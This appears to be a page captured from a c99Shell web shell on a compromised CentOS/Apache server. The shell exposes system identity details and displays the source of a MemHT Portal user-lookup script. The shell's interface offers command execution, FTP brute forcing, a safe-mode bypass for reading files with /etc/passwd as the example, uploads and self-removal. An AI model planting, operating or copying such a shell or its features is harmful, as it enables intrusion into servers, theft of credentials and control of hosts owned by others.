!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/inc/popwin/   drwxr-xr-x
Free 50.97 GB of 127.8 GB (39.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     finduser.php (5.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/********************************************************************************
    - MemHT Portal -
    
    Copyright (C) 2007-2008 by Miltenovik Manojlo
    http://www.memht.com
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your opinion) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License along
    with this program; if not, see <http://www.gnu.org/licenses/> (GPLv2)
    or write to the Free Software Foundation, Inc., 51 Franklin Street,
    Fifth Floor, Boston, MA02110-1301, USA.
        
********************************************************************************/

?>
<style type="text/css">
    body {
        font-family: Arial, Helvetica, sans-serif;
        font-size: 12px;
    }
    
    a:link { color: #000; text-decoration: none; }
    a:visited { color: #000; text-decoration: none; }
    a:hover { color: #000; text-decoration: none; }
    a:active { color: #000; text-decoration: none; }
    
    /* Nice table */
    table.std_nicetable {
        background-color:#DDD;
        font-size: 12px;
    }
    table.std_nicetable td {
        padding:2px;
    }
    table.std_nicetable thead td {
        background: url(../../images/tablebg.gif) #DDD repeat-x;
        border:1px solid #FFF;
        font-weight:bold;
        color:#A6301C;
    }
    td.std_clean { background-color: #FFF; }
    td.std_hlight { background-color: #F7F7F7; }
    #errorText, .errorText { color: #900000; }
</style>
<script type="text/javascript">
    function addContentSelect(val,frm,elm) {
        window.opener.document.forms[frm].elements[elm].value=val;
        window.opener.document.forms[frm].elements[elm].focus();
        window.close();
    }
    function addContentAdd(val,frm,elm) {
        window.opener.document.forms[frm].elements[elm].value+=val;
        window.opener.document.forms[frm].elements[elm].focus();
        window.close();
    }
</script>
<?php

//===========================================
//Database: Connect
//===========================================
require_once("../inc_config.php");
require_once(
"../inc_database.php");

$dblink = new database();
$dblink->connect();

require_once(
"../inc_functions.php");
require_once(
"../inc_readConfig.php");
if (
file_exists("../../lang/".$siteConfig['language'].".php")) {
    include_once(
"../../lang/".$siteConfig['language'].".php");
} else {
    include_once(
"../../lang/".$siteConfig['default_language'].".php");
}

$form = (isset($_GET['form'])) ? preg_replace("`[^a-zA-Z0-9_]`is","",$_GET['form']) : "" ;
$element = (isset($_GET['element'])) ? preg_replace("`[^a-zA-Z0-9_]`is","",$_GET['element']) : "" ;
$username = (isset($_GET['username'])) ? mysql_real_escape_string(trim($_GET['username'])) : "" ;

echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>\n";
    echo 
"<thead>\n";
        echo 
"<tr><td align='center'>"._USERNAME_."</td><td width='1%'>&nbsp;</td></tr>\n";
    echo 
"</thead>\n";
    echo 
"<tbody>\n";
        
$proceed false;
        if (isset(
$_GET['find'])) {
            
$query "user LIKE '%$username%'";
            
$proceed true;
        } else if (isset(
$_GET['match'])) {
            
$query "user='$username'";
            
$proceed true;
        } else {
            
?>
            <tr><td class='std_clean' colspan='2' align='center'>
                <form name="finduser" action="finduser.php" method="get">
                    <br><input type="text" name="username" size="15"> <input type="submit" name='find' value='<?php echo _FIND_?>'> <input type="submit" name='match' value='<?php echo _EXACT_MATCH_?>'>
                    <input type="hidden" name="form" value="<?php echo $form?>">
                    <input type="hidden" name="element" value="<?php echo $element?>">
                    <?php if ($add AND $username!="") { ?> <input type="hidden" name="add" value="true"> <?php ?>
                </form>
            </td></tr>
            <?php
        
}
        if (
$proceed) {
            
$n 0;
            if (
$result $dblink->get_list("SELECT user FROM memht_utenti WHERE $query ORDER BY user LIMIT 10")) {
                foreach (
$result as $row) {
                    
$username stripslashes($row['user']);
                    
                    
$add = (isset($_GET['add'])) ? "<input type='button' value='"._ADD_."' onclick=\"addContentAdd(',$username','$form','$element');\"> " "" ;
                    
                    
$class = (($n++%2)!=0) ? "std_hlight" "std_clean" ;
                    echo 
"<tr><td class='$class'><b>$username</b></td><td class='$class' nowrap>{$add}<input type='button' value='"._SELECT_."' onclick=\"addContentSelect('$username','$form','$element');\"></td></tr>\n";
                }
            } else {
                echo 
"<tr><td class='std_clean' colspan='2' id='errorText' align='center'><b>"._USERNOTFOUND_."</b></td></tr>\n";
            }
        }
    echo 
"</tbody>\n";
echo 
"</table>\n";

echo 
"<div align='center' style='margin-top:4px;'><a href='javascript:window.close();' title='"._CLOSE_."'><b>"._CLOSE_."</b></a></div>\n";
//===========================================
//Database: Disconnect
//===========================================
$dblink->disconnect();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0179 ]--